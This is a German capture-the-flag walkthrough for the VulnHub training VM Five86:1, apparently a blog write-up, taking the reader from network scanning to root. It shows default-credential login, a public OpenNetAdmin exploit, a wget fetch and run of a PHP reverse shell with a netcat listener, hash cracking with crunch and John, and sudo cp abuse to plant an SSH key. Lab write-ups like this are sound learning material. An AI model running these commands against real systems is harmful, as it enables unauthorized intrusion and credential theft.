VM: Five86: 1
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte.
Tools: NMAP, netcat, crunch, John the Ripper,
Techniken: Netzwerk & Port Scan, Enumeration, Bug using, Reverse Shell
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP
welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP
installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.86
(rot markiert) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.86
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden drei offene Ports ermittelt:
Port | Service |
22 | SSH |
80 | HTTP |
10000 | HTTP |
Schritt 2: Enumeration
Port 22 – SSH Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 80 – HTTP Server
Aus den Ergebnissen von dem NMAP Scan können wir sehen, dass es die robots.txt
Datei und ein /ona
Verzeichnis vorhanden sind.
Dabei zeigt uns der Inhalt der robots.txt
wiederrum auf den /ona
Verzeichnis.
User-agent: *
Disallow: /ona
Als index.html
wird uns eine leere Seite geliefert.
Beim Aufruf des /ona
Verzeichnisses finden wir eine OpenNetAdmin
Installation. Zum Einloggen kann man mit dem ersten Versuch erratene (admin:admin
) Zugangsdaten benutzen. Beim Oberflächlichem untersuchen wurde keine Möglichkeiten zum Hochladen von irgendwelchen Dateien gefunden. Da wir die Version des Programms kennen, werfen wir ein Blick auf die www.exploit-de.com. Hier finden wir 2 vorhanden Exploits die für diese Version des Programms existieren.
Port 1000 – HTTP Server
Hier finden wir eine Webmin Installation. Da es nur eine Login Aufforderung existiert, kann man hier nicht viel Informationen gewinnen.
Schritt 3: Infiltration
Laden wir uns das zweite Skript herunter. Wenn wir ein Blick in das Skript werfen, sehen wir das beim Starten des Skripts als Parameter die URL der OpenNetAdmin Installation angegeben werden muss.
Dabei erhalten wir eine Shell auf dem Server und können nach weiteren Möglichkeiten für die vollständige Übernahme der Kontrolle suchen.
Leider müssen wir schon beim ersten Schritt feststellen, dass wir uns nicht aus dem Verzeichnis bewegen können. Versuchen das mit eine Reverse Shell
umzugehen. Dafür laden wir unsere schon öfters benutze Datei rshell.php
nach /tmp
.
wget 192.168.178.100:8000/rshell.php -O /tmp/rshell.php
php /tmp/rshell.php
Damit die Verbindung aufgebaut werden kann, starten wir auf unserem Host netcat
welches auf eine eingehende Verbindung wartet:
nc -lvp 8888
Wie man auf dem Bild oben sehen kann, unter /var/www/
befindet sich die Datei .htpasswd
in welcher wir Informationen zu einem Benutzer finden und ein Hinweis zum Passwort.
Schritt 4: Brute Force
Wie in dem Hinweis zu sehen ist, besteht das Passwort aus den Buchstaben „aefhrt
“ und ist 10 Zeichen
lang. Damit können wir ein Wörterbuch generieren, in welchem alle möglichen Kombinationen aus den bekannten Buchstaben vorkommen und 10 Zeichen lang sind.
crunch 10 10 aefhrt > pass.txt
Die Zeile mit dem Benutzer
und dem Passworthash
speichern wir in dem selbem Verzeichnis unter Dateinamen pass
.
Zum Brute Forcen nutzen wir schon bekanntes Tool John the Ripper
.
john --wordlist=pass.txt pass
john --show pass
Mit den gefundenen Zugangsdaten können wir jetzt eine SSH Session aufbauen.
Schritt 5: Exploration
Nachdem Login per SSH mit dem Benutzer douglas prüfen wir zuerst ob wir irgendwelche Befehle mit erhöhten Rechten ausführen können.
sudo -l
So wie es aussieht, können wir den cp
Befehl als Benutzer jen
ausführen. Nach weiteren Recherchen wurden unter ~/.ssh
ein Paar von SSH-Keys
gefunden. Das können wir doch ausnutzen. Dazu müssen wir den ~/.ssh/id_rsa.pub
nach /home/jen/.ssh/authorized_keys
kopieren. Leider ist ein direktes Kopieren nicht möglich, da wir als Benutzer jen
nicht aus dem home
Verzeichnis von dem Benutzer douglas
lesen können. Dazu machen wir einfach einen Umweg über /tmp
.
cpid_rsa.pub /tmp
sudo -u jen /bin/cp /tmp/id_rsa.pub /home/jen/.ssh/authorized_keys
Jetzt kopieren wir den Inhalt von id_rsa
auf unseren lokalen Rechner und speichern es als privatekey
ab. Jetzt können wir uns als Benutzer jen
einloggen.
ssh -i privatekey jen@192.168.178.86
Beim Einloggen fällt direkt auf, dass es eine ungelesene E-Mail existiert. Lesen wir es direkt. Aus der E-Mail können wir weitere Zugangsdaten für den Benutzer moss
. Probieren wir es direkt aus.
Nach dem Einloggen als Benutzer moss finden wir in seinem home
Verzeichnis ein verstecktes .games
Verzeichnis. Beim Auflisten des Inhalts sehen wir, dass die meisten Speile nur Verlinkungen sind, und nur upyourgame
in dem Verzeichnis selbst liegt. Außerdem ist der Dateibesitzer root
, aber wir können es ausführen. Spielen wir doch eine Runde.
Nachdem wir das Spiel bis zum Ende gespielt haben, landen wir in einer Session mit root
rechten. Jetzt können wir alles machen und das Ziel ist erreicht.